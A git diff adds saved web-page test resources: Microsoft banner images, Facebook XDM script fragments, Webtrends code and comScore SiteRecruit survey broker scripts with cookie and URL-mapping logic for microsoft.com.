+__d("Log",["sprintf"],function(a,b,c,d,e,f){var g=b('sprintf'),h={DEBUG:3,INFO:2,WARNING:1,ERROR:0};function i(k,l){var m=Array.prototype.slice.call(arguments,2),n=g.apply(null,m),o=window.console;if(o&&j.level>=k)o[l in o?l:'log'](n);}var j={level:-1,Level:h,debug:ES5(i,'bind',true,null,h.DEBUG,'debug'),info:ES5(i,'bind',true,null,h.INFO,'debug'),warn:ES5(i,'bind',true,null,h.WARNING,'debug'),error:ES5(i,'bind',true,null,h.ERROR,'debug')};e.exports=j;});
+__d("sprintf",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);var j=0;return h.replace(/%s/g,function(k){return i[j++];});}e.exports=g;});
+__d("XDM",["DOMEventListener","DOMWrapper","Flash","Log","UserAgent","emptyFunction","guid"],function(a,b,c,d,e,f){var g=b('DOMEventListener'),h=b('DOMWrapper'),i=b('Flash'),j=b('Log'),k=b('UserAgent'),l=b('emptyFunction'),m=b('guid'),n={},o={transports:[]},p=h.getWindow();function q(s){var t={},u=s.length,v=o.transports;while(u--)t[s[u]]=1;u=v.length;while(u--){var w=v[u],x=n[w];if(!t[w]&&x.isAvailable())return w;}}var r={register:function(s,t){j.debug('Registering %s as XDM provider',s [...]
+__d("DOMEventListener",["wrapFunction"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h,i;if(window.addEventListener){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.addEventListener(l,m.wrapper,false);};i=function(k,l,m){k.removeEventListener(l,m.wrapper,false);};}else if(window.attachEvent){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.attachEvent('on'+l,m.wrapper);};i=function(k,l,m){k.detachEvent('on'+l,m.wrapper);};}var j={add:function(k,l,m){h(k,l,m);return {remove:function [...]
+__d("wrapFunction",[],function(a,b,c,d,e,f){var g={};function h(i,j,k){j=j||'default';return function(){var l=j in g?g[j](i,k):i;return l.apply(this,arguments);};}h.setWrapper=function(i,j){j=j||'default';g[j]=i;};e.exports=h;});
+__d("DOMWrapper",[],function(a,b,c,d,e,f){var g,h,i={setRoot:function(j){g=j;},getRoot:function(){return g||document.body;},setWindow:function(j){h=j;},getWindow:function(){return h||self;}};e.exports=i;});
+__d("Flash",["DOMWrapper","QueryString","UserAgent","copyProperties","guid"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('QueryString'),i=b('UserAgent'),j=b('copyProperties'),k=b('guid'),l={},m,n=g.getWindow().document;function o(t){var u=n.getElementById(t);if(u)u.parentNode.removeChild(u);delete l[t];}function p(){for(var t in l)if(l.hasOwnProperty(t))o(t);}function q(t){return t.replace(/\d+/g,function(u){return '000'.substring(u.length)+u;});}function r(t){if(!m){if(i.ie()>=9)win [...]
+__d("UserAgent",[],function(a,b,c,d,e,f){var g=false,h,i,j,k,l,m,n,o,p,q,r,s,t,u;function v(){if(g)return;g=true;var x=navigator.userAgent,y=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))/.exec(x),z=/(Mac OS X)|(Windows)|(Linux)/.exec(x);r=/\b(iPhone|iP[ao]d)/.exec(x);s=/\b(iP[ao]d)/.exec(x);p=/Android/i.exec(x);t=/FBAN\/\w+;/i.exec(x);u=/Mobile/i.exec(x);q=!!(/Win64/.exec(x));if(y){h=y[1]?parseFl [...]
+__d("copyProperties",[],function(a,b,c,d,e,f){function g(h,i,j,k,l,m,n){h=h||{};var o=[i,j,k,l,m],p=0,q;while(o[p]){q=o[p++];for(var r in q)h[r]=q[r];if(q.hasOwnProperty&&q.hasOwnProperty('toString')&&(typeof q.toString!='undefined')&&(h.toString!==q.toString))h.toString=q.toString;}return h;}e.exports=g;});
+__d("guid",[],function(a,b,c,d,e,f){function g(){return 'f'+(Math.random()*(1<<30)).toString(16).replace('.','');}e.exports=g;});
+__d("emptyFunction",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(j){return function(){return j;};}function i(){}g(i,{thatReturns:h,thatReturnsFalse:h(false),thatReturnsTrue:h(true),thatReturnsNull:h(null),thatReturnsThis:function(){return this;},thatReturnsArgument:function(j){return j;}});e.exports=i;});require("initXdArbiter");</script></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_fark/yahoo.gif b/src/test/resources/s/Filer_for_fark/yahoo.gif
new file mode 100644
index 0000000..1f0b0ca
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/yahoo.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/yorkpressuk.jpg b/src/test/resources/s/Filer_for_fark/yorkpressuk.jpg
new file mode 100644
index 0000000..7c80e41
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/yorkpressuk.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/DynGA_1015_420x210_EN_US.jpg b/src/test/resources/s/Filer_for_microsoft/DynGA_1015_420x210_EN_US.jpg
new file mode 100644
index 0000000..2ab1003
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/DynGA_1015_420x210_EN_US.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/IE_1026_420x210_EN_US.jpg b/src/test/resources/s/Filer_for_microsoft/IE_1026_420x210_EN_US.jpg
new file mode 100644
index 0000000..5648825
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/IE_1026_420x210_EN_US.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/PrCld_0114_1600x540_EN_US.jpg b/src/test/resources/s/Filer_for_microsoft/PrCld_0114_1600x540_EN_US.jpg
new file mode 100644
index 0000000..7a6ddeb
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/PrCld_0114_1600x540_EN_US.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/Segments.js b/src/test/resources/s/Filer_for_microsoft/Segments.js
new file mode 100644
index 0000000..1dbee28
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/Segments.js
@@ -0,0 +1 @@
+rh({"Error":null,"Segments":[9022,9030]});
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_microsoft/Store_1127_420x210_EN_US.jpg b/src/test/resources/s/Filer_for_microsoft/Store_1127_420x210_EN_US.jpg
new file mode 100644
index 0000000..e697ff0
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/Store_1127_420x210_EN_US.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/Surface_BG_0114_1600x540_EN_US.jpg b/src/test/resources/s/Filer_for_microsoft/Surface_BG_0114_1600x540_EN_US.jpg
new file mode 100644
index 0000000..cf56e79
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/Surface_BG_0114_1600x540_EN_US.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/Surface_RetLogo_500x60.png b/src/test/resources/s/Filer_for_microsoft/Surface_RetLogo_500x60.png
new file mode 100644
index 0000000..4f153be
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/Surface_RetLogo_500x60.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/SystemCenter_NoDate_RetnaLogo_500x60.png b/src/test/resources/s/Filer_for_microsoft/SystemCenter_NoDate_RetnaLogo_500x60.png
new file mode 100644
index 0000000..0084eea
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/SystemCenter_NoDate_RetnaLogo_500x60.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/WPBrand_BG_1112_1600x540_EN_US.jpg b/src/test/resources/s/Filer_for_microsoft/WPBrand_BG_1112_1600x540_EN_US.jpg
new file mode 100644
index 0000000..9d24502
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/WPBrand_BG_1112_1600x540_EN_US.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/WP_RetLogo_1112_500x60_EN_US.png b/src/test/resources/s/Filer_for_microsoft/WP_RetLogo_1112_500x60_EN_US.png
new file mode 100644
index 0000000..53e1385
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/WP_RetLogo_1112_500x60_EN_US.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/WT3fnXyVYIitjOKfVuxmRkPCE8nDekpsniX0oA2AaEi7w7w3Sf7JGR1cp6SV.htm b/src/test/resources/s/Filer_for_microsoft/WT3fnXyVYIitjOKfVuxmRkPCE8nDekpsniX0oA2AaEi7w7w3Sf7JGR1cp6SV.htm
new file mode 100644
index 0000000..d71530d
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/WT3fnXyVYIitjOKfVuxmRkPCE8nDekpsniX0oA2AaEi7w7w3Sf7JGR1cp6SV.htm
@@ -0,0 +1,24 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/**
+ * Copyright 2005-2009 webtrends All Rights Reserved.
+ * WEBTRENDS PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
+ *
+ * $Id: js.jsp,v 3.1 2009-11-24 23:15:52 michaelc Exp $
+ *
+ **/
+WTOptimize.fireEvent(new WTEvent(WTEvent.CONTROL_RESPONSE, WTEvent.STATUS_SUCCESS, {alias:"ta_ForH", control:"WT3CMMycwvaPCoe34A31MbXP4BZaBmweFMoDfNJRt92qJHkhkU0ej4QWe92k9oIMrfGjpi6sk8j7l_T4N_Q8yrcy3lhehK8L5xfqqUsiDobt59_j-OEko76V0JNNIrjOS1KwfNPEbSodAIsOElGZus4vVlf2paGXsd1vAOa6XAig2UEn6B-693WC2reJ5PVmUIljlAU3nvZGRpBMRxeSYzG_ECl-8jvIOUQv8nJdDfKU9IOBjW4wG5xMvtrFtd_joEqsL-rykGFVBfgzShNQfpD_p22yF_Sm1TD-KAV5qZgxBoe7EqZ0s9gu8RXosnTrI9kv0xXDfsB0ix7ek-r4v_i3DwhyOKHoLI_rezt0CF55WqFcRZB0AJyPcWFULh [...]
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_microsoft/Win8Eval_1001_420x210_EN_US.jpg b/src/test/resources/s/Filer_for_microsoft/Win8Eval_1001_420x210_EN_US.jpg
new file mode 100644
index 0000000..c96e73f
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/Win8Eval_1001_420x210_EN_US.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/Win8OfferApps_BG_1217_1600x540_EN_US.jpg b/src/test/resources/s/Filer_for_microsoft/Win8OfferApps_BG_1217_1600x540_EN_US.jpg
new file mode 100644
index 0000000..0c22a93
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/Win8OfferApps_BG_1217_1600x540_EN_US.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/Win8_RetLogo__1127_500x60_EN_US.png b/src/test/resources/s/Filer_for_microsoft/Win8_RetLogo__1127_500x60_EN_US.png
new file mode 100644
index 0000000..b060dae
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/Win8_RetLogo__1127_500x60_EN_US.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/WinIntune_1217_420x210_EN_US.jpg b/src/test/resources/s/Filer_for_microsoft/WinIntune_1217_420x210_EN_US.jpg
new file mode 100644
index 0000000..afb7c1c
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/WinIntune_1217_420x210_EN_US.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/XboxOffer_1210_420x210_EN_US.jpg b/src/test/resources/s/Filer_for_microsoft/XboxOffer_1210_420x210_EN_US.jpg
new file mode 100644
index 0000000..09401cf
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/XboxOffer_1210_420x210_EN_US.jpg differ
diff --git a/src/test/resources/s/Filer_for_microsoft/bimapping.js b/src/test/resources/s/Filer_for_microsoft/bimapping.js
new file mode 100644
index 0000000..1bd6a92
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/bimapping.js
@@ -0,0 +1 @@
+var BiMapping={"saas":{"interactionTypeMap":{"2":"1","3":"2","4":"9","5":"10","6":"11","7":"12","8":"13","9":"14","10":"15"},"parameterMap":{"conversionPoint":[{"bi":"cpid"}],"defaultConversionPoint":[{"str":"default_"},{"bi":"interactiontype"},{"str":"_"},{"bi":"type"}]}},"webtrends":{"interactionTypeMap":{"0":"0","1":"4","2":"1","3":"2","4":"9","5":"10","6":"11","7":"12","8":"13","9":"14","10":"15","11":"16","12":"17","13":"18","14":"19","15":"20"},"parameterMap":{"WT.locale":[{"bi":" [...]
diff --git a/src/test/resources/s/Filer_for_microsoft/bing_symbol_clr_52x52.png b/src/test/resources/s/Filer_for_microsoft/bing_symbol_clr_52x52.png
new file mode 100644
index 0000000..a12267d
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/bing_symbol_clr_52x52.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/broker-config_s1.js b/src/test/resources/s/Filer_for_microsoft/broker-config_s1.js
new file mode 100644
index 0000000..c728fce
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/broker-config_s1.js
@@ -0,0 +1,124 @@
+/*
+Copyright (c) 2013, comScore Inc. All rights reserved.
+version: 5.0.3
+*/
+var SRtempCookie = document.cookie.toString();
+
+function _set_SessionCookie(_url){
+ var c = 'captlinks=' + _url
+ + '; path=/'
+ + '; domain=microsoft.com';
+ document.cookie = c;
+}
+_set_SessionCookie("0");
+if(/[\w\.]+\/en-us\//i.test(SR_url)){
+var allLinks = document.getElementsByTagName("a");
+ for (var i = 0, n = allLinks.length; i < n; i++) {
+ if(/microsoftstore|store\.microsoft|clk\.atdmt\.com\/MRT\/go\/419363751\/direct/i.test(allLinks[i].href)){
+ if(allLinks[i].addEventListener){
+ allLinks[i].addEventListener('click',function(event){
+ if(/microsoftstore|store\.microsoft|clk\.atdmt\.com\/MRT\/go\/419363751\/direct/i.test(this.href)){_set_SessionCookie("microsoftstore.com");}
+ },false);
+ }else{
+ hrefURL = allLinks[i].href;
+ allLinks[i].attachEvent('onclick',function(){
+ _set_SessionCookie("microsoftstore.com");
+ });
+ }
+ }
+ }
+}
+COMSCORE.SiteRecruit.Broker.config = {
+ version: "5.0.3",
+ //TODO:Karl extend cookie enhancements to ie userdata
+ testMode: false,
+
+ // cookie settings
+ cookie:{
+ name: 'msresearch',
+ path: '/',
+ domain: '.microsoft.com' ,
+ duration: 90,
+ rapidDuration: 0,
+ expireDate: ''
+ },
+ thirdPartyOptOutCookieEnabled : false,
+
+ // optional prefix for pagemapping's pageconfig file
+ prefixUrl: "",
+
+ //events
+ Events: {
+ beforeRecruit: function() {
+ }
+ },
+
+ mapping:[
+ // m=regex match, c=page config file (prefixed with configUrl), f=frequency
+ {m: '//[\\w\\.-]+/about((/)|(/((default)|(index))\\.((html?)|(aspx?)|(mspx))))?$', c: 'inv_c_3331mt2.js', f: 0.37, p: 0 }
+ ,{m: '//[\\w\\.-]+/about/corporatecitizenship/en-us/youthspark/', c: 'inv_c_youthspark_qinvite.js', f: 0.25, p: 1 }
+ ,{m: '//[\\w\\.-]+/about/corporatecitizenship/en-us/youthspark/youthsparkhub/', c: 'inv_c_youthsparkhub_qinvite.js', f: 0.25, p: 2 }
+ ,{m: '//[\\w\\.-]+/athome/', c: 'inv_c_3331mt3-Static.js', f: 0.041, p: 1
+ ,prereqs:{
+ content: [
+ {
+ 'element':'object'
+ ,'attrib':'data' ,'attribValue':'silverlight|oleobject' }
+ ]
+ ,cookie: [
+ ]
+
+
+ ,externalDomain: [
+ ]
+ }
+ }
+ ,{m: '//[\\w\\.-]+/athome/', c: 'inv_c_3331mt3.js', f: 0.041, p: 0 }
+ ,{m: '//[\\w\\.-]+/atwork/', c: 'inv_c_3331mt5-Static.js', f: 0.046, p: 2
+ ,prereqs:{
+ content: [
+ {
+ 'element':'object'
+ ,'attrib':'data' ,'attribValue':'silverlight|oleobject' }
+ ]
+ ,cookie: [
+ ]
+
+
+ ,externalDomain: [
+ ]
+ }
+ }
+ ,{m: '//[\\w\\.-]+/atwork', c: 'inv_c_3331mt5.js', f: 0.046, p: 0 }
+ ,{m: '//[\\w\\.-]+/de-de/cloud/', c: 'inv_c_p73639549-Germany.js', f: 0.5, p: 0 }
+ ,{m: '//[\\w\\.-]+/de-de/windows/compatibility/.*/CompatCenter', c: 'inv_c_p176052898-DE-DE.js', f: 0.074, p: 4 }
+ ,{m: '//[\\w\\.-]+/(en-us/download)|(download/(en/|.*?displaylang=en))', c: 'inv_c_3331mt_p105571867-1345.js', f: 0.0055, p: 1 }
+ ,{m: '//[\\w\\.-]+/dynamics/asmartmove/default\\.mspx', c: 'inv_c_3331mt14-SL-fix_NEW-750.js', f: 0.5, p: 3 }
+ ,{m: '//[\\w\\.-]+/dynamics/customer/en-us/', c: 'inv_c_p68785097-1461.js', f: 0.5, p: 1 }
+ ,{m: '//[\\w\\.-]+/enable/', c: 'inv_c_p174575219-Accessibility.js', f: 0.127, p: 0 }
+ ,{m: '//[\\w\\.-]+/en-au/(default\\.aspx)?$', c: 'inv_c_p162091074-EN-AU_HP.js', f: 0.7, p: 1 }
+ ,{m: '//[\\w\\.-]+/en-au/windows/compatibility/.*/CompatCenter', c: 'inv_c_p176052898-EN-AU.js', f: 0.5, p: 0 }
+ ,{m: '//[\\w\\.-]+/en-ca/windows/compatibility/.*/CompatCenter', c: 'inv_c_p176052898-EN-CA.js', f: 0.5, p: 4 }
+ ,{m: '//(?!privacy)[\\w\\.-]+/en-gb/(default\\.aspx|$)', c: 'inv_c_p162091074-EN-GB_HP.js', f: 0.7, p: 0 }
+ ,{m: '//[\\w\\.-]+/en-gb/windows/compatibility/.*/CompatCenter', c: 'inv_c_p176052898-EN-GB.js', f: 0.44, p: 0 }
+ ,{m: '//[\\w\\.-]+/en-us/bi/', c: 'inv_c_p174651235_qInvite1727.js', f: 0.5, p: 2 }
+ ,{m: '//(www|wwwstaging)[\\w\\.-]*/en-us/(default\\.aspx)?$', c: 'inv_c_p38796305-EN-US-PREVIEW.js', f: 0.0626, p: 1 }
+ ,{m: '//[\\w\\.-]+/en-us/dynamics/(?!(customersource\\.aspx|partner-login\\.aspx|solution-finder\\.aspx|default\\.aspx|how-to-buy\\.aspx|default\\.aspx|contact-us-thanks\\.aspx|contact-us-cancel\\.aspx|search-results\\.aspx|go-to|overlays))', c: 'inv_c_3331mt14_NEW-750.js', f: 0.5, p: 0 }
+ ,{m: '//[\\w\\.-]+/en-us/showcase/', c: 'inv_c_p23275586.js', f: 0.6, p: 0 }
+ ,{m: '//[\\w\\.-]+/en-us/sqlserver', c: 'inv_c_p119307030-SQL-1161.js', f: 0.5, p: 1 }
+ ,{m: '//[\\w\\.-]+/en-us/windows/compatibility/.*/CompatCenter', c: 'inv_c_p176052898-EN-US.js', f: 0.0089, p: 4 }
+ ,{m: '//[\\w\\.-]+/(en-us/)?windows/enterprise/(?!(default\\.(aspx|html|mspx))|$)', c: 'inv_c_p38361073-DDS.js', f: 0.24, p: 0 }
+ ,{m: '//[\\w\\.-]+/en-us/windows/windowsintune/', c: 'inv_c_p143857371-EN-US.js', f: 0.5, p: 0 }
+ ,{m: '//[\\w\\.-]+/es-es/windows/compatibility/.*/CompatCenter', c: 'inv_c_p176052898-ES-ES.js', f: 0.169, p: 4 }
+ ,{m: '//[\\w\\.-]+/fr-fr/windows/compatibility/.*/CompatCenter', c: 'inv_c_p176052898-FR-FR.js', f: 0.124, p: 4 }
+ ,{m: '//[\\w\\.-]+/it-it/windows/compatibility/.*/CompatCenter', c: 'inv_c_p176052898-IT-IT.js', f: 0.5, p: 2 }
+ ,{m: '//[\\w\\.-]+/ja-jp/atlife', c: 'inv_c_p15466742-JA-JP-ATLIFE.js', f: 0.01, p: 1 }
+ ,{m: '//(wwwstaging|www\\.microsoft\\.com)/ja-jp/(default\\.aspx)?$', c: 'inv_c_p15466742-Japan-HP.js', f: 0.027, p: 1 }
+ ,{m: '//[\\w\\.-]+/ja-jp/server-cloud/windows-server/((/)|(/((default)|(index))\\.((html?)|(aspx?)|(mspx))))?$', c: 'inv_c_JA-p15466742-server-cloud-WS.js', f: 0.5, p: 0 }
+ ,{m: '//[\\w\\.-]+/ja-jp/windows/compatibility/.*/CompatCenter', c: 'inv_c_p176052898-JA-JP.js', f: 0.05, p: 4 }
+ ,{m: '//[\\w\\.-]+/japan/business/', c: 'inv_c_JA-p15466742-business.js', f: 0.5, p: 1 }
+ ,{m: '//[\\w\\.-]+/japan/windows(/(?!(downloads/ie/au\\.mspx)|(downloads/ie/iedelete\\.mspx))|$)', c: 'inv_c_JA-p15466742-p37131508-windows.js', f: 0.0315, p: 1 }
+ ,{m: '//[\\w\\.-]+/ko-kr/windows/compatibility/.*/CompatCenter', c: 'inv_c_p176052898-KO-KR.js', f: 0.5, p: 0 }
+]
+};
+COMSCORE.SiteRecruit.Broker.run();
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_microsoft/broker.js b/src/test/resources/s/Filer_for_microsoft/broker.js
new file mode 100644
index 0000000..f23ced8
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/broker.js
@@ -0,0 +1,1224 @@
+/*
+Copyright (c) 2012, comScore Inc. All rights reserved.
+version: 5.0.3
+*/
+var _sr_config = "broker-config.js";
+var _sr_builder = "builder.js";
+var _sr_sql08_URL = false;
+var qI_flag=false;
+var qI_loaded=true;
+var SR_url = window.location.toString().toLowerCase();
+var URLrange= [/\/\/[\w\.]+\/[a-k]/i, /\/\/[\w\.]+\/[l-z]/i];
+
+for (var i=0; i < URLrange.length; i++)
+{
+ j = i + 1;
+ if (URLrange[i].test(SR_url)) {
+ _sr_config= "broker-config_s" + j + ".js";
+ }
+}
+
+if(SR_url.search(/www\.microsoft\.com\/windows\/pc-selector/i) !== -1 || SR_url.search(/(www|js|i3)\.microsoft\.com\/library\/svy\/int_cle\.htm/i) !== -1) {
+ _sr_config = "broker-config_cle.js";
+}else if(/[\w\.]+\/windowsphone\/en-us/i.test(SR_url)) {
+ _sr_config = "broker-config_wp.js";
+}else if(/[\w\.]+\/learning\/en\/us/i.test(SR_url)) {
+ _sr_config = "broker-config_learning.js";
+} else if(/[\w\.]+\/en-us\/bi\//i.test(SR_url)) {
+ _sr_builder = "builder_Qbi.js";
+}
+if(SR_url.search("www.microsoft.com/student") != -1 && document.cookie.indexOf('cleflag2') == -1){
+ var c = 'cleflag2=1; path=/; domain=.microsoft.com';
+ document.cookie = c;
+}
+
+if (typeof(COMSCORE) == "undefined") {
+ var COMSCORE = {};
+}
+
+
+if (typeof COMSCORE.SiteRecruit == "undefined") {
+ COMSCORE.SiteRecruit = {
+ version: "5.0.3",
+
+ configUrl: _sr_config, // full url to broker config
+
+ builderUrl: _sr_builder, // full url to invitation builder
+
+ allowScriptCaching: false,
+
+ CONSTANTS: {
+ COOKIE_TYPE: { ALREADY_ASKED: 1, DD_IN_PROGRESS: 2},
+ STATE_NAME: { IDLE: "IDLE", DDINPROGRESS: "DDINPROGRESS"}
+ }
+
+ };
+
+ COMSCORE.SiteRecruit.Utils = ( function() {
+ //private
+ var _sr = COMSCORE.SiteRecruit;
+
+ // public methods and properties
+ return {
+ location: document.location.toString(),
+
+ loadScript: function(url, loadFresh) {
+ // append if load freshis called, do not append if scripcaching is allowed
+ if (loadFresh && !_sr.allowScriptCaching) {
+ url = _sr.Utils.appendQueryParams(url, (new Date()).getTime());
+ }
+
+ var s = document.createElement("script");
+ s.src = url;
+ document.body.appendChild(s);
+ },
+
+ getBrowser: function() {
+ var b = {};
+
+ b.name = navigator.appName;
+ b.version = parseInt(navigator.appVersion, 10);
+
+ // Check for Internet Explorer based browsers.
+ if (b.name == "Microsoft Internet Explorer") {
+ if (b.version > 3) {
+ var ua = navigator.userAgent.toLowerCase();
+ if (ua.indexOf("msie 5.0") == -1) {
+ b.ie = true;
+
+ }
+
+ if (ua.indexOf("msie 7") != -1) {
+ b.ie7 = true;
+
+ }
+ }
+ }
+
+ // Check for Mozilla based browsers.
+ if (b.name == "Netscape" || b.name == "Opera") {
+ if (b.version > 4) {
+ b.mozilla = true;
+
+ }
+ }
+
+ return b;
+
+ /* compact version!!!, does it match sr4 behavior?
+ b.xpath = !!(document.evaluate);
+ if (window.ActiveXObject) {
+ b.ie = b[window.XMLHttpRequest ? "ie7" : "ie6"] = true;
+
+ COMSCORE.log("browser is IE, " + b.ie7 ? "7" : "6");
+ }
+ else if (document.childNodes && !document.all && !navigator.taintEnabled) {
+ b.webkit = b[b.xpath ? 'webkit420' : 'webkit419'] = true;
+
+ COMSCORE.log("browser is safari");
+ }
+ else if (document.getBoxObjectFor != null) {
+ b.gecko = true; // mozilla/firefox
+ }
+ */
+ },
+
+ /**
+ * Used for firing a web beacon, loads an image behind the scenes.
+ * @param {Object} url Url of the image request
+ */
+ fireBeacon: function (url) {
+ setTimeout(function() {
+ if (url.indexOf('?') == -1) {
+ url += (/\?/.test(url) ? '&' : '?') + (new Date()).getTime();
+ }
+ else
+ {
+ url += '&' + (new Date()).getTime();
+ }
+
+ var i = new Image();
+
+
+
+ i.src = url;
+ }, 1);
+ },
+
+ appendQueryParams: function(url, params) {
+ if (url == null || params == null) {
+
+ }
+ //params = encodeURIComponent(params);
+ if (!url) {
+ return params;
+ }
+ else {
+ url = url.replace('?', '') + "?";
+
+ if (params) {
+ url += params.toString().replace('?', '');
+ }
+
+ return url;
+ }
+ },
+
+ getRandom: function(num) {
+ // Custom random number generator.
+ var n = 1000000000;
+
+ function ugen(old, a, q, r, m) {
+ var t = Math.floor(old / q);
+ t = a * (old - (t * q)) - (t * r);
+ return Math.round((t < 0) ? (t + m) : t);
+ }
+
+ var m1 = 2147483563, m2 = 2147483399, a1 = 40014, a2 = 40692, q1 = 53668, q2 = 52774, r1 = 12211, r2 = 3791, x = 67108862;
+ var g2 = (Math.round(((new Date()).getTime() % 100000)) & 0x7FFFFFFF), g1 = g2;
+ var shuffle = [32], i = 0;
+
+ for (; i < 19; i++) {
+ g1 = ugen(g1, a1, q1, r1, m1);
+ }
+ for (i = 0; i < 32; i++) {
+ g1 = ugen(g1, a1, q1, r1, m1);
+ shuffle[31 - i] = g1;
+ }
+ g1 = ugen(g1, a1, q1, r1, m1);
+ g2 = ugen(g2, a2, q2, r2, m2);
+ var s = Math.round((shuffle[Math.floor(shuffle[0] / x)] + g2) % m1);
+
+ var rand = Math.floor(s / (m1 / (n + 1))) / n;
+
+ // if passed arg, return number between 0 and num, else return float
+ //switched these 2 does it make sense?
+ if (typeof(num) == "undefined") {
+
+ return rand;
+ }
+ else {
+
+ return Math.floor(rand*(num+1));
+ }
+ },
+
+ getExecutingPath: function(filename) {
+ var tags = document.getElementsByTagName("script");
+ for (var i = tags.length - 1; i >= 0; i--) {
+ var src = tags[i].src;
+
+ this.scriptUrl = src;
+
+ if (src.indexOf("/" + filename) != -1) {
+ return src.replace(/(.*)(\/.*)$/, '$1/');
+ }
+ }
+ },
+
+ JSONDeserialize: function(str){
+ try {
+ if (str === "") str = '""';
+ eval("var p=" + str + ";");
+ return p;
+ }
+ catch (e)
+ {
+ return null;
+ }
+ },
+
+ JSONSerialize: function (obj) {
+ try {
+ var t = typeof (obj);
+ if (t != "object" || obj === null) {
+
+ if (t == "string") obj = '"'+obj+'"';
+ return String(obj);
+
+ }
+ else {
+
+ var n, v, json = [], arr = (obj && obj.constructor == Array);
+
+ for (n in obj) {
+ v = obj[n]; t = typeof(v);
+
+ if (t != "function"){
+ if (t == "string") v = '"'+v+'"';
+ else if (t == "object" && v !== null) v = this.JSONSerialize(v);
+
+ json.push((arr ? "" : '"' + n + '":') + String(v));
+ }
+ }
+
+ return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}");
+ }
+ }
+ catch(e){
+ return "";
+ }
+ }
+ };
+ } )();
+
+ /*
+ Basic Cookie Functionality
+ */
+ COMSCORE.SiteRecruit.Utils.UserPersistence = {
+ maxNumberOfPids : 6,
+ //The maximum number of pids allowed at any time in the 'surveys' attribute
+ CONSTANTS: {
+ STATE_NAME: { IDLE: "IDLE", DDINPROGRESS: "DDINPROGRESS"}
+ },
+ getCookieName: function(){
+ //Get default cookie option from broker if found
+ var c;
+ if (COMSCORE.SiteRecruit.Broker && COMSCORE.SiteRecruit.Broker.config){
+ c = COMSCORE.SiteRecruit.Broker.config.cookie;
+ if (c.name){
+ return c.name;
+ }
+ }
+ return "";
+ },
+
+ getDefaultCookieOptions: function(){
+ var ret= { path: "/", domain: "" };
+ return ret;
+ },
+
+ getVendorId: function(){
+ var ret= 1;
+ return ret;
+ },
+
+ createCookie: function(key, value, options) {
+
+
+ value = escape(value);
+
+ if (options.duration && options.duration < 0) {
+ var date = new Date();
+ date.setTime(date.getTime() + options.duration * 24 * 60 * 60 * 1000);
+ value += "; expires=" + date.toGMTString();
+ }
+ else{
+ var date = new Date();
+ date.setTime(date.getTime() + 10 * 365 * 24 * 60 * 60 * 1000);
+ value += "; expires=" + date.toGMTString();
+ }
+
+ if (options.path) {
+ value += "; path=" + options.path;
+ }
+ else {
+
+ }
+
+ if (options.domain) {
+ value += "; domain=" + options.domain;
+ }
+
+ if (options.secure) {
+ value += "; secure";
+ }
+ if (options.graceperiod) {
+ value += "; graceperiod=" + options.graceperiod;
+ }
+
+ document.cookie = key + "=" + value;
+
+ return true;
+ },
+
+ getCookieValue: function(key) {
+ var value = document.cookie.match("(?:^|;)\\s*" + key + "=([^;]*)");
+ return value ? unescape(value[1]) : false;
+ },
+
+ removeCookie: function(name, options) {
+
+
+ options = options || {};
+ options.duration = -999;
+
+ this.createCookie(name, "", options);
+ },
+
+ createUserObj: function(params){
+ /*
+ {
+ version:<Site Recruit version>,
+ state:{
+ name:<State Name>,
+ url: <url>,
+ timestamp:<datetime>
+ },
